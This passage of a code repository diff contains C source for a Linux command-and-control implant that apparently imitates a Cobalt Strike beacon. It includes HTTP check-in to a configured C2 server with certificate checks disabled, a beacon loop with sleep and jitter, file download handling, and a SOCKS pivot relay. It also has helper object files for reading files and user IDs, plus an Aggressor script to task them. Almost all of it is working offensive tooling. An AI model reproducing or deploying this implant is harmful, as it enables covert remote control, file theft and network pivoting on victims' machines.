fclose(entry->handle);
}
}
void command_download_stop(const uint8_t *data, size_t data_len) {
if (data_len < 4) return;
uint32_t fid = ntohl(*(uint32_t*)data);
file_entry *entry = download_list;
while (entry != NULL) {
if (entry->id == fid) {
entry->toread = 0;
fclose(entry->handle);
break;
}
entry = entry->next;
}
}
void download_poll() {
file_entry *entry = download_list;
file_entry *prev = NULL;
while (entry != NULL) {
if (entry->toread > 0) {
process_download(entry);
}
entry = entry->next;
}
entry = download_list;
while (entry != NULL) {
if (entry->toread <= 0) {
if (prev == NULL) {
download_list = entry->next;
free(entry);
entry = download_list;
} else {
prev->next = entry->next;
free(entry);
entry = prev->next;
}
} else {
prev = entry;
entry = entry->next;
}
}
}
+219
View File
@@ -0,0 +1,219 @@
#include "http.h"
#include "crypto.h"
#include "config.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
#include "debug.h"
// Callback for CURL to write response data
static size_t write_callback(void *contents, size_t size, size_t nmemb, void *userp) {
size_t real_size = size * nmemb;
http_response_t *response = (http_response_t *)userp;
char *new_data = realloc(response->data, response->size + real_size + 1);
if (!new_data) {
return 0;
}
response->data = new_data;
memcpy(response->data + response->size, contents, real_size);
response->size += real_size;
response->data[response->size] = 0;
return real_size;
}
int http_get(const char *uri,
const uint8_t *metadata,
size_t metadata_len,
http_response_t *response)
{
CURL *curl;
CURLcode res;
long response_code;
response->data = NULL;
response->size = 0;
curl = curl_easy_init();
if (!curl) {
ERROR_PRINT("Failed to initialize CURL\n");
return -1;
}
// Build full URL
char url[512];
#if C2_USE_HTTPS == 0
snprintf(url, sizeof(url), "http://%s:%d%s", C2_SERVER, C2_PORT, uri);
#else
snprintf(url, sizeof(url), "https://%s:%d%s", C2_SERVER, C2_PORT, uri);
// The following two options are needed to support teamserver with untrusted (such as self-signed) certificates
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
#endif
//DEBUG_PRINT("GET URL: %s\n", url);
//DEBUG_PRINT("Metadata length: %zu bytes\n", metadata_len);
// Setup headers
struct curl_slist *headers = NULL;
// Static headers
headers = curl_slist_append(headers, HTTP_ACCEPT_HEADER);
headers = curl_slist_append(headers, HTTP_CONNECTION_HEADER);
headers = curl_slist_append(headers, HTTP_CACHE_CONTROL_HEADER);
// User-Agent
char ua_header[512];
snprintf(ua_header, sizeof(ua_header), "User-Agent: %s", USER_AGENT);
headers = curl_slist_append(headers, ua_header);
// Cookie header (only if metadata present)
if (metadata && metadata_len > 0) {
char *b64_metadata = base64_encode(metadata, metadata_len);
if (!b64_metadata) {
ERROR_PRINT("Failed to base64 encode metadata\n");
curl_slist_free_all(headers);
curl_easy_cleanup(curl);
return -1;
}
char cookie_header[4096];
snprintf(cookie_header, sizeof(cookie_header), "Cookie: %s", b64_metadata);
headers = curl_slist_append(headers, cookie_header);
free(b64_metadata);
}
// Configure CURL
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, response);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 30L);
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
// #ifdef DEBUG
// curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
// #endif
// Perform request
res = curl_easy_perform(curl);
// Response code
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);
//DEBUG_PRINT("HTTP Response Code: %ld\n", response_code);
//DEBUG_PRINT("Response size: %zu bytes\n", response->size);
// Cleanup
curl_slist_free_all(headers);
curl_easy_cleanup(curl);
if (res != CURLE_OK) {
ERROR_PRINT("CURL error: %s\n", curl_easy_strerror(res));
free(response->data);
response->data = NULL;
return -1;
}
if (response_code != 200) {
ERROR_PRINT("Server returned HTTP %ld\n", response_code);
}
return 0;
}
int http_post(const char *uri, const uint8_t *data, size_t data_len,
const char *session_id, http_response_t *response) {
// Build packet structure:
// [Total Length: 4 bytes - UNENCRYPTED, BIG-endian] <- size of encrypted data only
// [ENCRYPTED: Counter:4 | Data Size:4 | Type:4 | Task Data:N]
// [HMAC: 16 bytes]
CURL *curl;
CURLcode res;
long response_code;
response->data = NULL;
response->size = 0;
curl = curl_easy_init();
if (!curl) {
ERROR_PRINT("Failed to initialize CURL\n");
return -1;
}
// Build full URL with session ID parameter
char url[512];
#if C2_USE_HTTPS == 0
snprintf(url, sizeof(url), "http://%s:%d%s?id=%s", C2_SERVER, C2_PORT, uri, session_id);
#else
snprintf(url, sizeof(url), "https://%s:%d%s?id=%s", C2_SERVER, C2_PORT, uri, session_id);
// The following two options are needed to support teamserver with untrusted (such as self-signed) certificates
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
#endif
DEBUG_PRINT("POST URL: %s\n", url);
DEBUG_PRINT("POST data length: %zu bytes\n", data_len);
// Setup headers
struct curl_slist *headers = NULL;
headers = curl_slist_append(headers, "Content-Type: application/octet-stream");
char ua_header[512];
snprintf(ua_header, sizeof(ua_header), "User-Agent: %s", USER_AGENT);
headers = curl_slist_append(headers, ua_header);
// Configure CURL
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_POST, 1L);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data);
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)data_len);
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, response);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 30L);
// #ifdef DEBUG
// curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
// #endif
// Perform the request
res = curl_easy_perform(curl);
// Get response code
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);
DEBUG_PRINT("HTTP Response Code: %ld\n", response_code);
DEBUG_PRINT("Response size: %zu bytes\n", response->size);
// Cleanup
curl_slist_free_all(headers);
curl_easy_cleanup(curl);
if (res != CURLE_OK) {
ERROR_PRINT("CURL error: %s\n", curl_easy_strerror(res));
if (response->data) {
free(response->data);
response->data = NULL;
}
return -1;
}
if (response_code != 200) {
ERROR_PRINT("Server returned HTTP %ld\n", response_code);
}
return 0;
}
void http_response_free(http_response_t *response) {
if (response->data) {
free(response->data);
response->data = NULL;
}
response->size = 0;
}
+91
View File
@@ -0,0 +1,91 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include "beacon.h"
#include "config.h"
#include "debug.h"
#include "files.h"
#include "pivot.h"
#define IMPLANT_VERSION "v2.3.7"
static int running = 1;
// Global beacon state for commands to access
beacon_state_t *g_beacon_state = NULL;
// Global sleep configuration (can be updated by SLEEP command)
int g_sleep_time_ms = SLEEP_TIME;
int g_jitter_percent = JITTER;
// Forward declaration for the callback function in commands.c
void pivot_callback_func(const char * buffer, int length, int type);
void signal_handler(int sig)
{
(void)sig;
running = 0;
}
int main(void)
{
beacon_state_t state;
// Set global beacon state
g_beacon_state = &state;
// Setup signal handlers
signal(SIGINT, signal_handler);
signal(SIGTERM, signal_handler);
DEBUG_PRINT("Linux Cobalt Strike Beacon %s\n", IMPLANT_VERSION);
DEBUG_PRINT("C2 Server: %s:%d\n", C2_SERVER, C2_PORT);
DEBUG_PRINT("Sleep: %dms, Jitter: %d%%\n", g_sleep_time_ms, g_jitter_percent);
DEBUG_PRINT("HTTPS value: %d\n", C2_USE_HTTPS);
// Initialize beacon
if (beacon_init(&state) != 0) {
DEBUG_PRINT("Failed to initialize beacon\n");
return 1;
}
pivot_init();
DEBUG_PRINT("Beacon initialized\n");
// Initial check-in
DEBUG_PRINT("Performing initial check-in...\n");
// Main beacon loop
while (running)
{
download_poll();
// Check in with server
if (beacon_checkin(&state) == 0)
{
DEBUG_PRINT("Check-in successful (%s)\n", IMPLANT_VERSION);
}
// Poll SOCKS sockets
pivot_poll(pivot_callback_func);
usleep(10000); // 10ms delay to prevent fast loops
// Sleep with jitter (use global variables)
if (g_sleep_time_ms < 200) {
g_sleep_time_ms = 200;
g_jitter_percent = 0;
}
beacon_sleep();
}
DEBUG_PRINT("\n[*] Shutting down beacon...\n");
pivot_cleanup();
beacon_cleanup(&state);
return 0;
}
+438
View File
@@ -0,0 +1,438 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <fcntl.h>
#include <time.h>
#include "pivot.h"
#include "debug.h"
#include "commands.h" // For callback types
static socket_entry_t *g_pivot_list = NULL;
static char *g_read_buffer = NULL;
static uint32_t g_lsock_id = 0;
static uint64_t get_monotonic_ms() {
struct timespec ts;
clock_gettime(CLOCK_MONOTONIC, &ts);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static uint32_t next_id() {
return (g_lsock_id++ % 67108864) + 67108864;
}
static void _add_socket(int socket_fd, int id, int timeout, uint32_t ltype, uint16_t lport, int state) {
socket_entry_t *entry = (socket_entry_t *)malloc(sizeof(socket_entry_t));
if (!entry) {
ERROR_PRINT("SOCKS: Failed to allocate memory for socket_entry\n");
return;
}
// Set socket to non-blocking
int flags = fcntl(socket_fd, F_GETFL, 0);
fcntl(socket_fd, F_SETFL, flags | O_NONBLOCK);
entry->id = id;
entry->socket = socket_fd;
entry->state = state;
entry->ltype = ltype;
entry->lport = lport;
entry->start_time = get_monotonic_ms();
entry->timeout = timeout;
entry->linger_time = 0;
entry->next = g_pivot_list;
g_pivot_list = entry;
DEBUG_PRINT("[SOCKS] Added socket fd:%d with id:%u to pivot list (state: %d)\n", socket_fd, id, state);
}
static int generic_listen(uint32_t bindto, uint16_t port, int backlog) {
int sock_fd = socket(AF_INET, SOCK_STREAM, 0);
if (sock_fd < 0) {
ERROR_PRINT("SOCKS: socket() failed: %s\n", strerror(errno));
return -1;
}
// Allow reuse of address
int opt = 1;
if (setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)) < 0) {
ERROR_PRINT("SOCKS: setsockopt(SO_REUSEADDR) failed: %s\n", strerror(errno));
close(sock_fd);
return -1;
}
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = bindto;
if (bind(sock_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
ERROR_PRINT("SOCKS: bind() failed for port %d: %s\n", port, strerror(errno));
close(sock_fd);
return -1;
}
if (listen(sock_fd, backlog) < 0) {
ERROR_PRINT("SOCKS: listen() failed: %s\n", strerror(errno));
close(sock_fd);
return -1;
}
DEBUG_PRINT("[SOCKS] generic_listen on port %d successful (fd: %d)\n", port, sock_fd);
return sock_fd;
}
static void pivot_poll_checker(pivot_callback callback) {
fd_set fds_read, fds_write, fds_error;
struct timeval tv = {0, 10 * 1000}; // 10ms timeout
int max_fd = 0;
socket_entry_t *temp = g_pivot_list;
FD_ZERO(&fds_read);
FD_ZERO(&fds_write);
FD_ZERO(&fds_error);
while (temp != NULL) {
if (temp->state == STATE_CONNECT) {
FD_SET(temp->socket, &fds_read);
FD_SET(temp->socket, &fds_write);
FD_SET(temp->socket, &fds_error);
if (temp->socket > max_fd) max_fd = temp->socket;
}
temp = temp->next;
}
if (max_fd == 0) return;
int ret = select(max_fd + 1, &fds_read, &fds_write, &fds_error, &tv);
if (ret < 0) {
ERROR_PRINT("[SOCKS] checker select() error: %s\n", strerror(errno));
return;
}
if (ret == 0) return;
temp = g_pivot_list;
while (temp != NULL) {
socket_entry_t* next = temp->next; // Save next pointer in case temp is modified
if (temp->state != STATE_CONNECT) {
temp = next;
continue;
}
uint32_t fid_be = htonl(temp->id);
if (FD_ISSET(temp->socket, &fds_error)) {
DEBUG_PRINT("[SOCKS] id:%u (fd:%d) dead on arrival (error set).\n", temp->id, temp->socket);
temp->state = STATE_DEAD;
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CLOSE);
} else if (temp->ltype == LISTEN_ONEOFF) { // This is a listening socket
if (FD_ISSET(temp->socket, &fds_read)) {
int lsock = temp->socket;
int new_sock = accept(lsock, NULL, NULL);
if (new_sock < 0) {
DEBUG_PRINT("[SOCKS] accept() failed for listener id:%u (fd:%d): %s\n", temp->id, lsock, strerror(errno));
temp->state = STATE_DEAD;
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CLOSE);
} else {
DEBUG_PRINT("[SOCKS] Accepted new connection (fd:%d) for listener id:%u. Replacing socket in pivot entry.\n", new_sock, temp->id);
temp->socket = new_sock;
temp->state = STATE_READ;
temp->ltype = LISTEN_NOTREALLY;
close(lsock);
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CONNECT);
}
}
} else { // This is an outgoing connecting socket
if (FD_ISSET(temp->socket, &fds_write)) {
int so_error;
socklen_t len = sizeof(so_error);
getsockopt(temp->socket, SOL_SOCKET, SO_ERROR, &so_error, &len);
if (so_error == 0) {
DEBUG_PRINT("[SOCKS] Outgoing connection succeeded for id:%u (fd:%d).\n", temp->id, temp->socket);
temp->state = STATE_READ;
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CONNECT);
} else {
ERROR_PRINT("[SOCKS] Outgoing connection failed for id:%u (fd:%d): %s\n", temp->id, temp->socket, strerror(so_error));
temp->state = STATE_DEAD;
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CLOSE);
}
}
}
// Check timeout
if (temp->state == STATE_CONNECT && (get_monotonic_ms() - temp->start_time) > temp->timeout) {
DEBUG_PRINT("[SOCKS] Connect timeout for id:%u (fd:%d)\n", temp->id, temp->socket);
temp->state = STATE_DEAD;
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CLOSE);
}
temp = next;
}
}
static void pivot_reaper() {
socket_entry_t *temp = g_pivot_list;
socket_entry_t *prev = NULL;
while (temp != NULL) {
int should_free = 0;
if (temp->state == STATE_DEAD && temp->linger_time == 0) {
DEBUG_PRINT("[SOCKS] Marking id:%u (fd:%d) for reaping.\n", temp->id, temp->socket);
temp->linger_time = get_monotonic_ms();
} else if (temp->state == STATE_DEAD && (get_monotonic_ms() - temp->linger_time) > 1000) {
DEBUG_PRINT("[SOCKS] Reaping id:%u (fd:%d).\n", temp->id, temp->socket);
close(temp->socket);
should_free = 1;
}
if (should_free) {
socket_entry_t *next = temp->next;
if (prev) {
prev->next = next;
} else {
g_pivot_list = next;
}
free(temp);
temp = next;
} else {
prev = temp;
temp = temp->next;
}
}
}
static int pivot_reader(pivot_callback callback) {
fd_set fds_read;
struct timeval tv = {0, 100 * 1000}; // 100ms timeout
int max_fd = 0;
int read_something = 0;
socket_entry_t *temp = g_pivot_list;
FD_ZERO(&fds_read);
while (temp != NULL) {
if (temp->state == STATE_READ) {
FD_SET(temp->socket, &fds_read);
if (temp->socket > max_fd) max_fd = temp->socket;
}
temp = temp->next;
}
if (max_fd == 0) return 0;
int ret = select(max_fd + 1, &fds_read, NULL, NULL, &tv);
if (ret < 0) {
ERROR_PRINT("[SOCKS] reader select() error: %s\n", strerror(errno));
return 0;
}
if (ret == 0) return 0;
if (!g_read_buffer) {
g_read_buffer = (char *)malloc(SOCKET_READ_MAX);
}
if (!g_read_buffer) return 0;
temp = g_pivot_list;
while (temp != NULL) {
if (temp->state == STATE_READ && FD_ISSET(temp->socket, &fds_read)) {
uint32_t fid_be = htonl(temp->id);
ssize_t count = read(temp->socket, g_read_buffer + sizeof(fid_be), SOCKET_READ_MAX - sizeof(fid_be));
if (count > 0) {
DEBUG_PRINT("[SOCKS] Read %zd bytes from id:%u (fd:%d)\n", count, temp->id, temp->socket);
// Data read from the target socket needs to be sent back to the C2 server.
// The format for this callback is:
// [4 bytes] Socket ID (big endian)
// [N bytes] Raw data read from the socket
// This is then sent with the CALLBACK_READ (ID 5) type.
memcpy(g_read_buffer, &fid_be, sizeof(fid_be));
callback(g_read_buffer, count + sizeof(fid_be), CALLBACK_READ);
read_something = 1;
} else if (count == 0) {
// EOF
DEBUG_PRINT("[SOCKS] id:%u (fd:%d) got EOF. Closing.\n", temp->id, temp->socket);
temp->state = STATE_DEAD;
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CLOSE);
} else { // count < 0
if (errno != EAGAIN && errno != EWOULDBLOCK) {
ERROR_PRINT("[SOCKS] read() error on id:%u (fd:%d): %s\n", temp->id, temp->socket, strerror(errno));
temp->state = STATE_DEAD;
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CLOSE);
}
}
}
temp = temp->next;
}
return read_something;
}
// Public Functions
void pivot_init() {
g_pivot_list = NULL;
g_read_buffer = NULL;
g_lsock_id = 0;
DEBUG_PRINT("[SOCKS] Pivot manager initialized.\n");
}
void pivot_poll(pivot_callback callback) {
// This is the main polling function for the SOCKS pivot manager.
// It is called on each iteration of the main beacon loop.
// 1. pivot_poll_checker: Checks for the status of pending connections.
// 2. pivot_reader: Reads data from any established, active connections.
// 3. pivot_reaper: Cleans up any connections that have been marked as dead.
pivot_poll_checker(callback);
pivot_reader(callback);
pivot_reaper();
}
void pivot_cleanup() {
socket_entry_t *temp = g_pivot_list;
while (temp != NULL) {
close(temp->socket);
socket_entry_t *next = temp->next;
free(temp);
temp = next;
}
g_pivot_list = NULL;
if (g_read_buffer) {
free(g_read_buffer);
g_read_buffer = NULL;
}
DEBUG_PRINT("[SOCKS] Pivot manager cleaned up.\n");
}
// Command Handlers
void command_listen_socks(const uint8_t *buffer, int length, pivot_callback callback) {
if (length < 6) return;
uint32_t id = ntohl(*(uint32_t*)buffer);
uint16_t port = ntohs(*(uint16_t*)(buffer + 4));
DEBUG_PRINT("[SOCKS] COMMAND_LISTEN on port %u for id %u\n", port, id);
int lsock = generic_listen(INADDR_ANY, port, 1);
if (lsock < 0) {
uint32_t fid_be = htonl(id);
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CLOSE);
} else {
_add_socket(lsock, id, 180000, LISTEN_ONEOFF, port, STATE_CONNECT);
}
}
void command_connect_socks(const uint8_t *buffer, int length, pivot_callback callback) {
if (length < 6) return;
uint32_t id = ntohl(*(uint32_t*)buffer);
uint16_t port = ntohs(*(uint16_t*)(buffer + 4));
char *host = (char *)(buffer + 6);
int host_len = length - 6;
char host_z[1024];
if (host_len >= sizeof(host_z)) host_len = sizeof(host_z) - 1;
memcpy(host_z, host, host_len);
host_z[host_len] = '\0';
DEBUG_PRINT("[SOCKS] COMMAND_CONNECT to %s:%u for id %u\n", host_z, port, id);
struct hostent *target = gethostbyname(host_z);
if (!target) {
ERROR_PRINT("[SOCKS] gethostbyname failed for %s\n", host_z);
uint32_t fid_be = htonl(id);
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CLOSE);
return;
}
int sock_fd = socket(AF_INET, SOCK_STREAM, 0);
if (sock_fd < 0) {
ERROR_PRINT("[SOCKS] socket() for outgoing connection failed: %s\n", strerror(errno));
uint32_t fid_be = htonl(id);
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CLOSE);
return;
}
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
memcpy(&addr.sin_addr.s_addr, target->h_addr, target->h_length);
// Set non-blocking for connect
int flags = fcntl(sock_fd, F_GETFL, 0);
fcntl(sock_fd, F_SETFL, flags | O_NONBLOCK);
int ret = connect(sock_fd, (struct sockaddr *)&addr, sizeof(addr));
if (ret < 0 && errno != EINPROGRESS) {
ERROR_PRINT("[SOCKS] connect() to %s:%u failed: %s\n", host_z, port, strerror(errno));
close(sock_fd);
uint32_t fid_be = htonl(id);
callback((char *)&fid_be, sizeof(fid_be), CALLBACK_CLOSE);
return;
}
_add_socket(sock_fd, id, 30000, LISTEN_NOTREALLY, 0, STATE_CONNECT);
}
void command_send_socks(const uint8_t *buffer, int length) {
if (length < 4) return;
uint32_t id = ntohl(*(uint32_t*)buffer);
socket_entry_t *temp = g_pivot_list;
while (temp != NULL) {
if (temp->id == id && temp->state == STATE_READ) {
ssize_t total_written = 0;
ssize_t to_write = length - 4;
const uint8_t *data_ptr = buffer + 4;
DEBUG_PRINT("[SOCKS] COMMAND_SEND for id:%u (fd:%d), %zd bytes\n", id, temp->socket, to_write);
while (total_written < to_write) {
ssize_t written = write(temp->socket, data_ptr + total_written, to_write - total_written);
if (written >= 0) {
total_written += written;
} else {
if (errno != EAGAIN && errno != EWOULDBLOCK) {
ERROR_PRINT("[SOCKS] write() error on id:%u (fd:%d): %s. Closing socket.\n", id, temp->socket, strerror(errno));
temp->state = STATE_DEAD;
// Don't send CALLBACK_CLOSE here, let the reaper or reader do it
// to avoid flooding the C2.
break;
}
// If we get EAGAIN, we should ideally buffer the rest of the data and
// wait for the socket to be writable again. This simple loop will spin,
// which is not ideal, but better than dropping data.
usleep(10000); // Sleep 10ms to avoid busy-waiting
}
}
DEBUG_PRINT("[SOCKS] Wrote %zd bytes to id:%u (fd:%d)\n", total_written, id, temp->socket);
break;
}
temp = temp->next;
}
}
void command_close_socks(const uint8_t *buffer, int length) {
if (length < 4) return;
uint32_t id = ntohl(*(uint32_t*)buffer);
socket_entry_t *temp = g_pivot_list;
DEBUG_PRINT("[SOCKS] COMMAND_CLOSE for id:%u\n", id);
while (temp != NULL) {
if (temp->id == id) {
temp->state = STATE_DEAD;
break;
}
temp = temp->next;
}
}
+43
View File
@@ -0,0 +1,43 @@
#pragma once
#ifndef bool
#define bool int
#endif
typedef struct {
char* original;
char* buffer;
int length;
int size;
} datap;
void BeaconDataParse(datap* parser, char* buffer, int size);
char* BeaconDataPtr(datap* parser, int size);
int BeaconDataInt(datap* parser);
short BeaconDataShort(datap* parser);
int BeaconDataLength(datap* parser);
char* BeaconDataExtract(datap* parser, int* size);
typedef struct {
char* original;
char* buffer;
int length;
int size;
} formatp;
void BeaconFormatAlloc(formatp* format, int maxsz);
void BeaconFormatReset(formatp* format);
void BeaconFormatAppend(formatp* format, char* text, int len);
void BeaconFormatPrintf(formatp* format, char* fmt, ...);
char* BeaconFormatToString(formatp* format, int* size);
void BeaconFormatFree(formatp* format);
void BeaconFormatInt(formatp* format, int value);
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_OUTPUT_UTF8 0x20
#define CALLBACK_ERROR 0x0d
void BeaconOutput(int type, char* data, int len);
void BeaconPrintf(int type, char* fmt, ...);
bool BeaconIsRoot();
+4
View File
@@ -0,0 +1,4 @@
#!/bin/sh
x86_64-linux-gnu-gcc -c -FPIC id.c -o id.x64.o || echo "[!] x86_64 compiler not found, skipping"
x86_64-linux-gnu-gcc -c -FPIC cat.c -o cat.x64.o || echo "[!] x86_64 compiler not found, skipping"
+48
View File
@@ -0,0 +1,48 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include "beacon.h"
// https://github.com/trustedsec/ELFLoader
// Cat BOF from TrustedSec
int run_cat(char* filestr){
FILE* fin = NULL;
char readin[2049];
size_t readsize = 1;
memset(readin, 0, 2049);
if (filestr == NULL){
return 1;
}
fin = fopen(filestr, "r");
if (fin == NULL){
BeaconPrintf(CALLBACK_OUTPUT, "Failed to open file: %s\n", filestr);
return 1;
}
while (readsize != 0){
readsize = fread(readin, 1, 2048, fin);
BeaconPrintf(CALLBACK_OUTPUT, "%s", readin);
memset(readin, 0, 2049);
}
BeaconPrintf(CALLBACK_OUTPUT, "\n");
(void)fclose(fin);
return 0;
}
int go(char* indata, int inlen){
datap parser;
char* filepath = NULL;
BeaconDataParse(&parser, indata, inlen);
filepath = BeaconDataExtract(&parser, NULL);
(void)run_cat(filepath);
return 0;
}
+65
View File
@@ -0,0 +1,65 @@
import beacon.CommandBuilder;
import common.CommonUtils;
sub beacon_inline_execute_linux {
btask($1, "Tasked beacon to inline execute Linux BOF!", "");
$bid = $1;
$rawBofBytes = $2;
$args = $3;
if($rawBofBytes eq $null)
{
berror($1, "Error: Specified BOF could not be found. Please ensure the file exists!");
return;
}
# https://github.com/WKL-Sec/HiddenDesktop/blob/14252f58e3f5379301f0d6334f92f8b96f321a16/bin/HiddenDesktop.cna#L80
$build = [ new CommandBuilder ];
[$build setCommand: 200];
[$build addLengthAndString: $rawBofBytes];
[$build addLengthAndString: $args];
call( "beacons.task", $null, $1, cast( [$build build], 'b' ) );
}
# If your BOF's Aggressor Script is in a separate Aggressor Script and not in here, you must add this include into it.
###### include("/path/to/CobaltStrike-Linux-Beacon/CustomBeacon.cna"); ######
alias linux_id {
$handle = openf(script_resource("id.x64.o"));
$rawBytesLength = lof(script_resource("id.x64.o"));
$rawBofBytes = readb($handle, -1);
closef($handle);
if($rawBytesLength < 1)
{
berror($1,"Error: Specified BOF could not be found. Please ensure the file exists!");
return;
}
$args = "";
beacon_inline_execute_linux($1, $rawBofBytes, $args);
}
alias linux_cat {
$handle = openf(script_resource("cat.x64.o"));
$rawBytesLength = lof(script_resource("cat.x64.o"));
$rawBofBytes = readb($handle, -1);
closef($handle);
if($rawBytesLength < 1)
{
berror($1,"Error: Specified BOF could not be found. Please ensure the file exists!");
return;
}
$args = bof_pack($1, "z", $2);
beacon_inline_execute_linux($1, $rawBofBytes, $args);
}
+15
View File
@@ -0,0 +1,15 @@
#include <sys/types.h>
#include "beacon.h"
// https://github.com/outflanknl/nix_bof_template
// ID BOF from Outflank
uid_t libc$getuid();
uid_t libc$geteuid();
void go(char* args, int alen) {
uid_t uid = libc$getuid();
uid_t euid = libc$geteuid();
BeaconPrintf(CALLBACK_OUTPUT, "UID: %d EUID: %d\n", uid, euid);
}